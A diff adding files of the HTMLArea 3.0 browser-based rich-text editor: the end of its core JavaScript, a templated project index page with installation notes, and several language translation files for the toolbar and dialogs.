+ html = "<" + root.tagName.toLowerCase();
+ var attrs = root.attributes;
+ for (i = 0; i < attrs.length; ++i) {
+ var a = attrs.item(i);
+ if (!a.specified) {
+ continue;
+ }
+ var name = a.nodeName.toLowerCase();
+ if (/_moz_editor_bogus_node/.test(name)) {
+ html = "";
+ break;
+ }
+ if (/_moz|contenteditable|_msh/.test(name)) {
+ // avoid certain attributes
+ continue;
+ }
+ var value;
+ if (name != "style") {
+ // IE5.5 reports 25 when cellSpacing is
+ // 1; other values might be doomed too.
+ // For this reason we extract the
+ // values directly from the root node.
+ // I'm starting to HATE JavaScript
+ // development. Browser differences
+ // suck.
+ //
+ // Using Gecko the values of href and src are converted to absolute links
+ // unless we get them using nodeValue()
+ if (typeof root[a.nodeName] != "undefined" && name != "href" && name != "src") {
+ value = root[a.nodeName];
+ } else {
+ value = a.nodeValue;
+ // IE seems not willing to return the original values - it converts to absolute
+ // links using a.nodeValue, a.value, a.stringValue, root.getAttribute("href")
+ // So we have to strip the baseurl manually -/
+ if (HTMLArea.is_ie && (name == "href" || name == "src")) {
+ value = editor.stripBaseURL(value);
+ }
+ }
+ } else { // IE fails to put style in attributes list
+ // FIXME: cssText reported by IE is UPPERCASE
+ value = root.style.cssText;
+ }
+ if (/(_moz|^$)/.test(value)) {
+ // Mozilla reports some special tags
+ // here; we don't need them.
+ continue;
+ }
+ html += " " + name + '="' + value + '"';
+ }
+ if (html != "") {
+ html += closed ? " />" : ">";
+ }
+ }
+ for (i = root.firstChild; i; i = i.nextSibling) {
+ html += HTMLArea.getHTML(i, true, editor);
+ }
+ if (outputRoot && !closed) {
+ html += "</" + root.tagName.toLowerCase() + ">";
+ }
+ break;
+ case 3: // Node.TEXT_NODE
+ // If a text node is alone in an element and all spaces, replace it with an non breaking one
+ // This partially undoes the damage done by moz, which translates ' 's into spaces in the data element
+ if ( !root.previousSibling && !root.nextSibling && root.data.match(/^\s*$/i) ) html = ' ';
+ else html = HTMLArea.htmlEncode(root.data);
+ break;
+ case 8: // Node.COMMENT_NODE
+ html = "<!--" + root.data + "-->";
+ break; // skip comments, for now.
+ }
+ return html;
+};
+
+HTMLArea.prototype.stripBaseURL = function(string) {
+ var baseurl = this.config.baseURL;
+
+ // strip to last directory in case baseurl points to a file
+ baseurl = baseurl.replace(/[^\/]+$/, '');
+ var basere = new RegExp(baseurl);
+ string = string.replace(basere, "");
+
+ // strip host-part of URL which is added by MSIE to links relative to server root
+ baseurl = baseurl.replace(/^(https?:\/\/[^\/]+)(.*)$/, '$1');
+ basere = new RegExp(baseurl);
+ return string.replace(basere, "");
+};
+
+String.prototype.trim = function() {
+ a = this.replace(/^\s+/, '');
+ return a.replace(/\s+$/, '');
+};
+
+// creates a rgb-style color from a number
+HTMLArea._makeColor = function(v) {
+ if (typeof v != "number") {
+ // already in rgb (hopefully); IE doesn't get here.
+ return v;
+ }
+ // IE sends number; convert to rgb.
+ var r = v & 0xFF;
+ var g = (v >> 8) & 0xFF;
+ var b = (v >> 16) & 0xFF;
+ return "rgb(" + r + "," + g + "," + b + ")";
+};
+
+// returns hexadecimal color representation from a number or a rgb-style color.
+HTMLArea._colorToRgb = function(v) {
+ if (!v)
+ return '';
+
+ // returns the hex representation of one byte (2 digits)
+ function hex(d) {
+ return (d < 16) ? ("0" + d.toString(16)) : d.toString(16);
+ };
+
+ if (typeof v == "number") {
+ // we're talking to IE here
+ var r = v & 0xFF;
+ var g = (v >> 8) & 0xFF;
+ var b = (v >> 16) & 0xFF;
+ return "#" + hex(r) + hex(g) + hex(b);
+ }
+
+ if (v.substr(0, 3) == "rgb") {
+ // in rgb(...) form -- Mozilla
+ var re = /rgb\s*\(\s*([0-9]+)\s*,\s*([0-9]+)\s*,\s*([0-9]+)\s*\)/;
+ if (v.match(re)) {
+ var r = parseInt(RegExp.$1);
+ var g = parseInt(RegExp.$2);
+ var b = parseInt(RegExp.$3);
+ return "#" + hex(r) + hex(g) + hex(b);
+ }
+ // doesn't match RE?! maybe uses percentages or float numbers
+ // -- FIXME: not yet implemented.
+ return null;
+ }
+
+ if (v.substr(0, 1) == "#") {
+ // already hex rgb (hopefully :D )
+ return v;
+ }
+
+ // if everything else fails ;)
+ return null;
+};
+
+// modal dialogs for Mozilla (for IE we're using the showModalDialog() call).
+
+// receives an URL to the popup dialog and a function that receives one value;
+// this function will get called after the dialog is closed, with the return
+// value of the dialog.
+HTMLArea.prototype._popupDialog = function(url, action, init) {
+ Dialog(this.popupURL(url), action, init);
+};
+
+// paths
+
+HTMLArea.prototype.imgURL = function(file, plugin) {
+ if (typeof plugin == "undefined")
+ return _editor_url + file;
+ else
+ return _editor_url + "plugins/" + plugin + "/img/" + file;
+};
+
+HTMLArea.prototype.popupURL = function(file) {
+ var url = "";
+ if (file.match(/^plugin:\/\/(.*?)\/(.*)/)) {
+ var plugin = RegExp.$1;
+ var popup = RegExp.$2;
+ if (!/\.html$/.test(popup))
+ popup += ".html";
+ url = _editor_url + "plugins/" + plugin + "/popups/" + popup;
+ } else
+ url = _editor_url + this.config.popupURL + file;
+ return url;
+};
+
+/**
+ * FIX: Internet Explorer returns an item having the _name_ equal to the given
+ * id, even if it's not having any id. This way it can return a different form
+ * field even if it's not a textarea. This workarounds the problem by
+ * specifically looking to search only elements having a certain tag name.
+ */
+HTMLArea.getElementById = function(tag, id) {
+ var el, i, objs = document.getElementsByTagName(tag);
+ for (i = objs.length; --i >= 0 && (el = objs[i]);)
+ if (el.id == id)
+ return el;
+ return null;
+};
+
+
+
+// EOF
+// Local variables: //
+// c-basic-offset:8 //
+// indent-tabs-mode:t //
+// End: //
--- /dev/null
+<files>
+ <file name="*.{gif,jpg,jpeg}" />
+</files>
--- /dev/null
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 3.2//EN">
+<html>
+ <head>
+ <title>HTMLArea -- the free, customizable online editor</title>
+
+ <style type="text/css">
+ html, body { font-family: georgia,"times new roman",serif; background-color: #fff; color: #000; }
+ .label { text-align: right; padding-right: 0.3em; }
+ .bline { border-bottom: 1px solid #aaa; }
+ </style>
+ </head>
+
+ <body>
+ <div style="float: right; border: 1px solid #aaa; background-color: #eee; padding: 3px; margin-left: 10px; margin-bottom: 10px;">
+ <table cellspacing="0" cellpadding="0" border="0">
+ <tr>
+ <td class="label">Version:</td><td><% $version %></td>
+ </tr>
+ <tr>
+ <td class="label">Release:</td><td><% $release %> (<a href="release-notes.html">release notes</a>)</td>
+ </tr>
+ <tr>
+ <td class="label bline">Compiled at:</td><td class="bline"><% $time %></td>
+ </tr>
+ <tr>
+ <td class="label">SourceForge page:</td><td><a href="http://sf.net/projects/itools-htmlarea/">http://sf.net/projects/itools-htmlarea/</a></td>
+ </table>
+ </div>
+ <h1>HTMLArea -- the free<br/>customizable online editor</h1>
+
+ <p>
+ HTMLArea is a free, customizable online editor. It works inside your
+ browser. It uses a non-standard feature implemented in Internet
+ Explorer 5.5 or better for Windows and Mozilla 1.3 or better (any
+ platform), therefore it will only work in one of these browsers.
+ </p>
+
+ <p>
+ HTMLArea is copyright <a
+ href="http://interactivetools.com">InteractiveTools.com</a> and <a
+ href="http://dynarch.com">Dynarch.com</a> and it is
+ released under a BSD-style license. HTMLArea is created and developed
+ upto version 2.03 by InteractiveTools.com. Version 3.0 developed by
+ <a href="http://dynarch.com/mishoo/">Mihai Bazon</a> for
+ InteractiveTools. It contains code sponsored by third-party companies as well.
+ Please see our About Box for details about who sponsored what plugins.
+ </p>
+
+ <h2>Online demos</h2>
+
+ <ul>
+ <li><a href="examples/images.html">Image Manager Version</a> -- Contains the image manger plugin.</li>
+
+ <li><a href="examples/core.html">HTMLArea standard</a> -- contains the core
+ editor.</li>
+
+ <li><a href="examples/table-operations.html">HTMLArea + tables</a> --
+ loads the <tt>TableOperations</tt> plugin which provides some extra
+ editing features for tables.</li>
+
+ <li><a href="examples/spell-checker.html">HTMLArea + spell checher</a>
+ -- loads the <tt>SpellChecker</tt> plugin which provides what its
+ name says: a spell checker. This one requires additional support on
+ the server-side.</li>
+
+ <li><a href="examples/full-page.html">HTMLArea Full HTML Editor</a> --
+ loads the <tt>FullPage</tt> plugin which allows you to edit a full
+ HTML page, including <title>, <!DOCTYPE...> and some
+ other options.</li>
+
+ <li><a href="examples/context-menu.html">HTMLArea with Context
+ Menu</a> -- this plugin provides a nice and useful context menu.</li>
+
+ <li><a href="examples/fully-loaded.html">HTMLArea fully loaded</a> --
+ all of the above. ;-)</li>
+
+ </ul>
+
+ <h2>Installation</h2>
+
+ <p>
+ Installation is (or should be) easy. You need to unpack the ZIP file
+ in a directory accessible through your webserver. Supposing you
+ unpack in your <tt>DocumentRoot</tt> and your <tt>DocumentRoot</tt> is
+ <tt>/var/www/html</tt> as in a standard RedHat installation, you need
+ to acomplish the following steps: (the example is for a Unix-like
+ operating system)
+ </p>
+
+ <pre style="margin-left: 2em"
+>
+cd /var/www/html
+unzip /path/to/archive/<% $basename %>.zip
+mv <% $basename %> htmlarea
+find htmlarea/ -type f -exec chmod 644 {} \;
+find htmlarea/ -type d -exec chmod 755 {} \;
+find htmlarea/ -name "*.cgi" -exec chmod 755 {} \;</pre>
+
+ <p>
+ <strong>Notes.</strong> You may chose to symlink "htmlarea" to "<%
+ $basename %>", in which case your server needs to be configured to
+ "<tt>FollowSymLinks</tt>". You need to make sure that *.cgi files are
+ interpreted as CGI scripts. If you want to use the SpellChecker
+ plugin you need to have a recent version of Perl installed (I
+ recommend 5.8.0) on the server, and the module Text::Aspell, available
+ from CPAN. More info in "<a
+ href="plugins/SpellChecker/readme-tech.html">plugins/SpellChecker/readme-tech.html</a>".
+ </p>
+
+ <p>About how to setup your pages to use the editor, please read the
+ [outdated yet generally valid] <a
+ href="reference.html">documentation</a>.</p>
+
+ <h2>Status and links</h2>
+
+ <p>HTMLArea has reached version 3.0. As of this version, it
+ supports:</p>
+
+ <ul>
+
+ <li>Customizable toolbar</li>
+
+ <li>Easy internationalization</li>
+
+ <li>Plugin-based infrastructure</li>
+
+ <li>Delivers W3-compliant HTML (with few exceptions)</li>
+
+ <li>Has a subset of Microsoft Word's keyboard shortcuts</li>
+
+ <li>Full-screen editor</li>
+
+ <li>Advanced table operations (by external plugin
+ "TableOperations")</li>
+
+ <li>Spell checker (by external plugin "SpellChecker")</li>
+
+ <li>probably more... ;-)</li>
+
+ </ul>
+
+ <p>We have a <a
+ href="http://sourceforge.net/projects/itools-htmlarea/">project page</a>
+ at <a href="http://sourceforge.net">SourceForge.net</a>. There you can
+ also find out <a href="http://sourceforge.net/cvs/?group_id=69750">how
+ to retrieve the code from CVS</a>, or you can <a
+ href="http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/itools-htmlarea">browse
+ the CVS online</a>. We also have a <a
+ href="http://sourceforge.net/tracker/?atid=525656&group_id=69750&func=browse">bug
+ system</a>, a <a
+ href="http://sourceforge.net/tracker/?atid=525658&group_id=69750&func=browse">patch
+ tracking system</a> and a <a
+ href="http://sourceforge.net/tracker/?atid=525659&group_id=69750&func=browse">feature
+ request page</a>.</p>
+
+ <p>We invite you to say everything you want about HTMLArea <a
+ href="http://www.interactivetools.com/forum/gforum.cgi?forum=14;">on the
+ forums</a> at InteractiveTools.com. There you should also find the
+ latest news.</p>
+
+ <p>Sometimes I post news about the latest developments on <a
+ href="http://dynarch.com/mishoo/">my personal homepage</a>.</p>
+
+ <h2>"It doesn't work, what's wrong?"</h2>
+
+ <p>If it doesn't work, you have several options:</p>
+
+ <ul>
+
+ <li>Post a message to the forum. Describe your problem in as much
+ detail as possible. Include errors you might find in the JavaScript
+ console (if you are a Mozilla user), or errors displayed by IE (though
+ they're most of the times useless).</li>
+
+ <li>If you're positive that you discovered a bug in HTMLArea then feel
+ free to fill a bug report in our bug system. If you have the time you
+ should check to see if a similar bug was reported or not; it might be
+ fixed already in the CVS ;-) If you're positive that a similar bug was
+ not yet reported, do fill a bug report and please include as much
+ detail as possible, such as your browser, OS, errors from JavaScript
+ console, etc.</li>
+
+ <li>If you want a new feature to be implemented, post it on the
+ features request and someone will hopefully take care of it.</li>
+
+ </ul>
+
+ <p>You can <a href="mailto:mishoo@infoiasi.ro">contact me directly</a>
+ <em>only</em> if you want to pay me for implementing custom features to
+ HTMLArea. If you want to sponsor these features (that is, allow them to
+ get back into the public HTMLArea distribution) I'll be cheaper. ;-)</p>
+
+ <hr />
+ <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Sun Aug 3 14:11:26 EEST 2003 -->
+<!-- hhmts start --> Last modified: Wed Jan 28 11:54:47 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+ </body>
+</html>
+
+<%ARGS>
+ $project => 'HTMLArea'
+ $version => '3.0'
+ $release => 'rc1'
+ $basename => 'HTMLArea-3.0-rc1'
+</%ARGS>
+
+<%INIT>;
+use POSIX qw(strftime);
+my $time = strftime '%b %e, %Y [%H:%M] GMT', gmtime;
+</%INIT>
--- /dev/null
+// I18N constants -- Chinese Big-5
+// by Dave Lo -- dlo@interactivetools.com
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "b5",
+
+ tooltips: {
+ bold: "²ÊÅé",
+ italic: "±×Åé",
+ underline: "©³½u",
+ strikethrough: "§R°£½u",
+ subscript: "¤U¼Ð",
+ superscript: "¤W¼Ð",
+ justifyleft: "¦ì¸m¾a¥ª",
+ justifycenter: "¦ì¸m©~¤¤",
+ justifyright: "¦ì¸m¾a¥k",
+ justifyfull: "¦ì¸m¥ª¥k¥µ¥",
+ orderedlist: "¶¶§Ç²M³æ",
+ unorderedlist: "µL§Ç²M³æ",
+ outdent: "´î¤p¦æ«eªÅ¥Õ",
+ indent: "¥[¼e¦æ«eªÅ¥Õ",
+ forecolor: "¤å¦rÃC¦â",
+ backcolor: "I´ºÃC¦â",
+ horizontalrule: "¤ô¥½u",
+ createlink: "´¡¤J³sµ²",
+ insertimage: "´¡¤J¹Ï§Î",
+ inserttable: "´¡¤Jªí®æ",
+ htmlmode: "¤Á´«HTMLì©l½X",
+ popupeditor: "©ñ¤j",
+ about: "Ãö©ó HTMLArea",
+ help: "»¡©ú",
+ textindicator: "¦rÅé¨Ò¤l"
+ }
+};
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "cz", ENCODING: UTF-8 | ISO-8859-2\r\r
+// Author: Jiri Löw, <jirilow@jirilow.com>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r\r
+ // the following should be the filename without .js extension\r\r
+ // it will be used for automatically load plugin language.\r\r
+ lang: "cz",\r\r
+\r\r
+ tooltips: {\r\r
+ bold: "Tučně",\r\r
+ italic: "Kurzíva",\r\r
+ underline: "Podtržení",\r\r
+ strikethrough: "Přeškrtnutí",\r\r
+ subscript: "Dolní index",\r\r
+ superscript: "Horní index",\r\r
+ justifyleft: "Zarovnat doleva",\r\r
+ justifycenter: "Na střed",\r\r
+ justifyright: "Zarovnat doprava",\r\r
+ justifyfull: "Zarovnat do stran",\r\r
+ orderedlist: "Seznam",\r\r
+ unorderedlist: "Odrážky",\r\r
+ outdent: "Předsadit",\r\r
+ indent: "Odsadit",\r\r
+ forecolor: "Barva písma",\r\r
+ hilitecolor: "Barva pozadí",\r\r
+ horizontalrule: "Vodorovná čára",\r\r
+ createlink: "Vložit odkaz",\r\r
+ insertimage: "Vložit obrázek",\r\r
+ inserttable: "Vložit tabulku",\r\r
+ htmlmode: "Přepnout HTML",\r\r
+ popupeditor: "Nové okno editoru",\r\r
+ about: "O této aplikaci",\r\r
+ showhelp: "Nápověda aplikace",\r\r
+ textindicator: "Zvolený styl",\r\r
+ undo: "Vrátí poslední akci",\r\r
+ redo: "Opakuje poslední akci",\r\r
+ cut: "Vyjmout",\r\r
+ copy: "Kopírovat",\r\r
+ paste: "Vložit"\r\r
+ },\r\r
+\r\r
+ buttons: {\r\r
+ "ok": "OK",\r\r
+ "cancel": "Zrušit"\r\r
+ },\r\r
+\r\r
+ msg: {\r\r
+ "Path": "Cesta",\r\r
+ "TEXT_MODE": "Jste v TEXTOVÉM REŽIMU. Použijte tlačítko [<>] pro přepnutí do WYSIWIG."\r\r
+ }\r\r
+};\r\r
--- /dev/null
+// danish version for htmlArea v3.0 - Alpha Release
+// - translated by rene<rene@laerke.net>
+// term´s and licenses are equal to htmlarea!
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "da",
+
+ tooltips: {
+ bold: "Fed",
+ italic: "Kursiv",
+ underline: "Understregning",
+ strikethrough: "Overstregning ",
+ subscript: "Sænket skrift",
+ superscript: "Hævet skrift",
+ justifyleft: "Venstrejuster",
+ justifycenter: "Centrer",
+ justifyright: "Højrejuster",
+ justifyfull: "Lige margener",
+ orderedlist: "Opstilling med tal",
+ unorderedlist: "Opstilling med punkttegn",
+ outdent: "Formindsk indrykning",
+ indent: "Forøg indrykning",
+ forecolor: "Skriftfarve",
+ backcolor: "Baggrundsfarve",
+ horizontalrule: "Horisontal linie",
+ createlink: "Indsæt hyperlink",
+ insertimage: "Indsæt billede",
+ inserttable: "Indsæt tabel",
+ htmlmode: "HTML visning",
+ popupeditor: "Vis editor i popup",
+ about: "Om htmlarea",
+ help: "Hjælp",
+ textindicator: "Anvendt stil"
+ }
+};
--- /dev/null
+// I18N constants
+
+// LANG: "de", ENCODING: ISO-8859-1 for the german umlaut!
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "de",
+
+ tooltips: {
+ bold: "Fett",
+ italic: "Kursiv",
+ underline: "Unterstrichen",
+ strikethrough: "Durchgestrichen",
+ subscript: "Hochgestellt",
+ superscript: "Tiefgestellt",
+ justifyleft: "Linksbündig",
+ justifycenter: "Zentriert",
+ justifyright: "Rechtsbündig",
+ justifyfull: "Blocksatz",
+ orderedlist: "Nummerierung",
+ unorderedlist: "Aufzählungszeichen",
+ outdent: "Einzug verkleinern",
+ indent: "Einzug vergrößern",
+ forecolor: "Schriftfarbe",
+ backcolor: "Hindergrundfarbe",
+ hilitecolor: "Hintergrundfarbe",
+ horizontalrule: "Horizontale Linie",
+ inserthorizontalrule: "Horizontale Linie",
+ createlink: "Hyperlink einfügen",
+ insertimage: "Bild einfügen",
+ inserttable: "Tabelle einfügen",
+ htmlmode: "HTML Modus",
+ popupeditor: "Editor im Popup öffnen",
+ about: "Über htmlarea",
+ help: "Hilfe",
+ showhelp: "Hilfe",
+ textindicator: "Derzeitiger Stil",
+ undo: "Rückgängig",
+ redo: "Wiederholen",
+ cut: "Ausschneiden",
+ copy: "Kopieren",
+ paste: "Einfügen aus der Zwischenablage",
+ lefttoright: "Textrichtung von Links nach Rechts",
+ righttoleft: "Textrichtung von Rechts nach Links"
+ },
+
+ buttons: {
+ "ok": "OK",
+ "cancel": "Abbrechen"
+ },
+
+ msg: {
+ "Path": "Pfad",
+ "TEXT_MODE": "Sie sind im Text-Modus. Benutzen Sie den [<>] Knopf um in den visuellen Modus (WYSIWIG) zu gelangen.",
+
+ "Moz-Clipboard" :
+ "Aus Sicherheitsgründen dürfen Skripte normalerweise nicht programmtechnisch auf " +
+ "Ausschneiden/Kopieren/Einfügen zugreifen. Bitte klicken Sie OK um die technische " +
+ "Erläuterung auf mozilla.org zu öffnen, in der erklärt wird, wie einem Skript Zugriff " +
+ "gewährt werden kann."
+ },
+
+ dialogs: {
+ "OK": "OK",
+ "Cancel": "Abbrechen",
+ "Insert/Modify Link": "Verknüpfung hinzufügen/ändern",
+ "None (use implicit)": "k.A. (implizit)",
+ "New window (_blank)": "Neues Fenster (_blank)",
+ "Same frame (_self)": "Selber Rahmen (_self)",
+ "Top frame (_top)": "Oberster Rahmen (_top)",
+ "Other": "Anderes",
+ "Target:": "Ziel:",
+ "Title (tooltip):": "Titel (Tooltip):",
+ "URL:": "URL:",
+ "You must enter the URL where this link points to": "Sie müssen eine Ziel-URL angeben für die Verknüpfung angeben"
+ }
+};
--- /dev/null
+// I18N constants
+
+// LANG: "ee", ENCODING: UTF-8 | ISO-8859-1
+// Author: Martin Raie, <albertvill@hot.ee>
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "ee",
+
+ tooltips: {
+ bold: "Paks",
+ italic: "Kursiiv",
+ underline: "Allakriipsutatud",
+ strikethrough: "Läbikriipsutatud",
+ subscript: "Allindeks",
+ superscript: "Ülaindeks",
+ justifyleft: "Joonda vasakule",
+ justifycenter: "Joonda keskele",
+ justifyright: "Joonda paremale",
+ justifyfull: "Rööpjoonda",
+ orderedlist: "Nummerdus",
+ unorderedlist: "Täpploend",
+ outdent: "Vähenda taanet",
+ indent: "Suurenda taanet",
+ forecolor: "Fondi värv",
+ hilitecolor: "Tausta värv",
+ inserthorizontalrule: "Horisontaaljoon",
+ createlink: "Lisa viit",
+ insertimage: "Lisa pilt",
+ inserttable: "Lisa tabel",
+ htmlmode: "HTML/tavaline vaade",
+ popupeditor: "Suurenda toimeti aken",
+ about: "Teave toimeti kohta",
+ showhelp: "Spikker",
+ textindicator: "Kirjastiil",
+ undo: "Võta tagasi",
+ redo: "Tee uuesti",
+ cut: "Lõika",
+ copy: "Kopeeri",
+ paste: "Kleebi"
+ },
+
+ buttons: {
+ "ok": "OK",
+ "cancel": "Loobu"
+ },
+
+ msg: {
+ "Path": "Path",
+ "TEXT_MODE": "Sa oled tekstireziimis. Kasuta nuppu [<>] lülitamaks tagasi WYSIWIG reziimi."
+ }
+};
--- /dev/null
+// I18N constants
+
+// LANG: "el", ENCODING: UTF-8 | ISO-8859-7
+// Author: Dimitris Glezos, dimitris@glezos.com
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "el",
+
+ tooltips: {
+ bold: "Έντονα",
+ italic: "Πλάγια",
+ underline: "Υπογραμμισμένα",
+ strikethrough: "Διαγραμμένα",
+ subscript: "Δείκτης",
+ superscript: "Δείκτης",
+ justifyleft: "Στοίχιση Αριστερά",
+ justifycenter: "Στοίχιση Κέντρο",
+ justifyright: "Στοίχιση Δεξιά",
+ justifyfull: "Πλήρης Στοίχιση",
+ orderedlist: "Αρίθμηση",
+ unorderedlist: "Κουκκίδες",
+ outdent: "Μείωση Εσοχής",
+ indent: "Αύξηση Εσοχής",
+ forecolor: "Χρώμα Γραμματοσειράς",
+ hilitecolor: "Χρώμα Φόντου",
+ horizontalrule: "Οριζόντια Γραμμή",
+ createlink: "Εισαγωγή Συνδέσμου",
+ insertimage: "Εισαγωγή/Τροποποίηση Εικόνας",
+ inserttable: "Εισαγωγή Πίνακα",
+ htmlmode: "Εναλλαγή σε/από HTML",
+ popupeditor: "Μεγένθυνση επεξεργαστή",
+ about: "Πληροφορίες",
+ showhelp: "Βοήθεια",
+ textindicator: "Παρών στυλ",
+ undo: "Αναίρεση τελευταίας ενέργειας",
+ redo: "Επαναφορά από αναίρεση",
+ cut: "Αποκοπή",
+ copy: "Αντιγραφή",
+ paste: "Επικόλληση",
+ lefttoright: "Κατεύθυνση αριστερά προς δεξιά",
+ righttoleft: "Κατεύθυνση από δεξιά προς τα αριστερά"
+ },
+
+ buttons: {
+ "ok": "OK",
+ "cancel": "Ακύρωση"
+ },
+
+ msg: {
+ "Path": "Διαδρομή",
+ "TEXT_MODE": "Είστε σε TEXT MODE. Χρησιμοποιήστε το κουμπί [<>] για να επανέρθετε στο WYSIWIG.",
+
+ "IE-sucks-full-screen": "Η κατάσταση πλήρης οθόνης έχει προβλήματα με τον Internet Explorer, " +
+ "λόγω σφαλμάτων στον ίδιο τον browser. Αν το σύστημα σας είναι Windows 9x " +
+ "μπορεί και να χρειαστείτε reboot. Αν είστε σίγουροι, πατήστε ΟΚ."
+ },
+
+ dialogs: {
+ "Cancel" : "Ακύρωση",
+ "Insert/Modify Link" : "Εισαγωγή/Τροποποίηση σύνδεσμου",
+ "New window (_blank)" : "Νέο παράθυρο (_blank)",
+ "None (use implicit)" : "Κανένα (χρήση απόλυτου)",
+ "OK" : "Εντάξει",
+ "Other" : "Αλλο",
+ "Same frame (_self)" : "Ίδιο frame (_self)",
+ "Target:" : "Target:",
+ "Title (tooltip):" : "Τίτλος (tooltip):",
+ "Top frame (_top)" : "Πάνω frame (_top)",
+ "URL:" : "URL:",
+ "You must enter the URL where this link points to" : "Πρέπει να εισάγετε το URL που οδηγεί αυτός ο σύνδεσμος"
+ }
+};
--- /dev/null
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "en",
+
+ tooltips: {
+ bold: "Bold",
+ italic: "Italic",
+ underline: "Underline",
+ strikethrough: "Strikethrough",
+ subscript: "Subscript",
+ superscript: "Superscript",
+ justifyleft: "Justify Left",
+ justifycenter: "Justify Center",
+ justifyright: "Justify Right",
+ justifyfull: "Justify Full",
+ orderedlist: "Ordered List",
+ unorderedlist: "Bulleted List",
+ outdent: "Decrease Indent",
+ indent: "Increase Indent",
+ forecolor: "Font Color",
+ hilitecolor: "Background Color",
+ horizontalrule: "Horizontal Rule",
+ createlink: "Insert Web Link",
+ insertimage: "Insert/Modify Image",
+ inserttable: "Insert Table",
+ htmlmode: "Toggle HTML Source",
+ popupeditor: "Enlarge Editor",
+ about: "About this editor",
+ showhelp: "Help using editor",
+ textindicator: "Current style",
+ undo: "Undoes your last action",
+ redo: "Redoes your last action",
+ cut: "Cut selection",
+ copy: "Copy selection",
+ paste: "Paste from clipboard",
+ lefttoright: "Direction left to right",
+ righttoleft: "Direction right to left"
+ },
+
+ buttons: {
+ "ok": "OK",
+ "cancel": "Cancel"
+ },
+
+ msg: {
+ "Path": "Path",
+ "TEXT_MODE": "You are in TEXT MODE. Use the [<>] button to switch back to WYSIWYG.",
+
+ "IE-sucks-full-screen" :
+ // translate here
+ "The full screen mode is known to cause problems with Internet Explorer, " +
+ "due to browser bugs that we weren't able to workaround. You might experience garbage " +
+ "display, lack of editor functions and/or random browser crashes. If your system is Windows 9x " +
+ "it's very likely that you'll get a 'General Protection Fault' and need to reboot.\n\n" +
+ "You have been warned. Please press OK if you still want to try the full screen editor.",
+
+ "Moz-Clipboard" :
+ "Unprivileged scripts cannot access Cut/Copy/Paste programatically " +
+ "for security reasons. Click OK to see a technical note at mozilla.org " +
+ "which shows you how to allow a script to access the clipboard."
+ },
+
+ dialogs: {
+ "Cancel" : "Cancel",
+ "Insert/Modify Link" : "Insert/Modify Link",
+ "New window (_blank)" : "New window (_blank)",
+ "None (use implicit)" : "None (use implicit)",
+ "OK" : "OK",
+ "Other" : "Other",
+ "Same frame (_self)" : "Same frame (_self)",
+ "Target:" : "Target:",
+ "Title (tooltip):" : "Title (tooltip):",
+ "Top frame (_top)" : "Top frame (_top)",
+ "URL:" : "URL:",
+ "You must enter the URL where this link points to" : "You must enter the URL where this link points to"
+ }
+};
--- /dev/null
+// I18N constants
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "es",
+
+ tooltips: {
+ bold: "Negrita",
+ italic: "Cursiva",
+ underline: "Subrayado",
+ strikethrough: "Tachado",
+ subscript: "Subíndice",
+ superscript: "Superíndice",
+ justifyleft: "Alinear a la Izquierda",
+ justifycenter: "Centrar",
+ justifyright: "Alinear a la Derecha",
+ justifyfull: "Justificar",
+ orderedlist: "Lista Ordenada",
+ unorderedlist: "Lista No Ordenada",
+ outdent: "Aumentar Sangría",
+ indent: "Disminuir Sangría",
+ forecolor: "Color del Texto",
+ hilitecolor: "Color del Fondo",
+ inserthorizontalrule: "Línea Horizontal",
+ createlink: "Insertar Enlace",
+ insertimage: "Insertar Imagen",
+ inserttable: "Insertar Tabla",
+ htmlmode: "Ver Documento en HTML",
+ popupeditor: "Ampliar Editor",
+ about: "Acerca del Editor",
+ showhelp: "Ayuda",
+ textindicator: "Estilo Actual",
+ undo: "Deshacer",
+ redo: "Rehacer",
+ cut: "Cortar selección",
+ copy: "Copiar selección",
+ paste: "Pegar desde el portapapeles"
+ },
+
+ buttons: {
+ "ok": "Aceptar",
+ "cancel": "Cancelar"
+ },
+
+ msg: {
+ "Path": "Ruta",
+ "TEXT_MODE": "Esta en modo TEXTO. Use el boton [<>] para cambiar a WYSIWIG",
+ }
+};
--- /dev/null
+// I18N constants
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "en",
+
+ tooltips: {
+ bold: "Lihavoitu",
+ italic: "Kursivoitu",
+ underline: "Alleviivattu",
+ strikethrough: "Yliviivattu",
+ subscript: "Alaindeksi",
+ superscript: "Yläindeksi",
